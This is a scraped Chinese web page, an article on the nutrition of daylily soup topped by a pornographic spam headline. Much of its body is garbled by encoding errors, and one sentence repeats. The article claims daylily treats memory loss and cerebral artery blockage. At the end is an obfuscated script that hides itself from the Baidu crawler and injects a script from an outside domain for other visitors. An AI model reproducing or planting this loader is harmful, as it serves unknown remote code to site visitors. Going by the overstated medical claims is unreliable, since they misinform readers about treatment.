久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

        黃花菜煲湯中有哪些營養(yǎng)

        2017-07-07 02:46:45  來源:360常識網(wǎng)   熱度:
        導(dǎo)語:正所謂民以食為天,人是鐵,飯是鋼,一頓不吃餓得慌,由此說明飯菜對我們?nèi)耸遣⒉荒苋钡氖澄?。而在吃的方面,隨著社會的進(jìn)步,人們對飲食這

        正所謂民以食為天,人是鐵,飯是鋼,一頓不吃餓得慌,由此說明飯菜對我們?nèi)耸遣⒉荒苋钡氖澄铩6诔缘姆矫?,隨著社會的進(jìn)步,人們對飲食這方面的要求也會越來越高,對于食物的選材方面也是處處精挑細(xì)選,就好比如黃花菜煲湯,其中的黃花菜到底具備了哪些營養(yǎng),對人體是否有害,成了人們尋找的問題。

        黃花菜別名金針菜、萱萼、萱草、萱草花、忘憂草、川草花,為百合科多年生草本折葉植物萱草、黃花萱草的花蕾。生長于山坡、草地,也有人工栽培的,東北、華北、長江流域以南均有分布。黃花菜在我國栽培歷史悠久,《詩經(jīng)·衛(wèi)風(fēng)》中有“焉得諼草,言樹之背”之句,“諼”即“萱”。萱草合歡,食之忘憂,又稱“忘憂草”。相傳秦末陳勝起義,曾食黃家少女所煮萱草充饑。后陳勝稱王,念黃家活命之情,就以黃花菜名之。其嫩苗及花蕾可作蔬菜,其花及根可作藥用。

        黃花菜性平、味甘、微苦,歸肝、脾、腎經(jīng)。有清熱利尿,解毒消腫,止血除煩,寬胸膈,養(yǎng)血平肝,利水通乳,利咽寬胸,清利濕熱,發(fā)奶等功效。含有豐富的花粉、糖、蛋白質(zhì)、維生素C、鈣、脂肪、胡蘿卜素、氨基酸等人體所必須的養(yǎng)分,其所含的胡蘿卜素甚至超過西紅柿的幾倍。含有豐富的花粉、糖、蛋白質(zhì)、維生素C、鈣、脂肪、胡蘿卜素、氨基酸等人體所必須的養(yǎng)分,其所含的胡蘿卜素甚至超過西紅柿的幾倍。同時含豐富的卵磷脂,是大腦細(xì)胞生成的重要物質(zhì),對增強和改善大腦功能有重要作用,同時能清除動脈內(nèi)的沉積物,對注意力不集中、記憶力減退、腦動脈阻塞等癥狀有治療功效。黃花菜能顯著降低血清膽固醇的含量。對動脈硬化、高血壓者有一定的輔助治療效果。

        從這看來黃花菜煲湯對人體有益的成分還是挺多的,還能對注意力不集中、記憶力減退、腦動脈阻塞等癥狀有治療功效。看來我們的多吃點,畢竟記憶力減退對我們來說是最可怕的一件事。

        轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}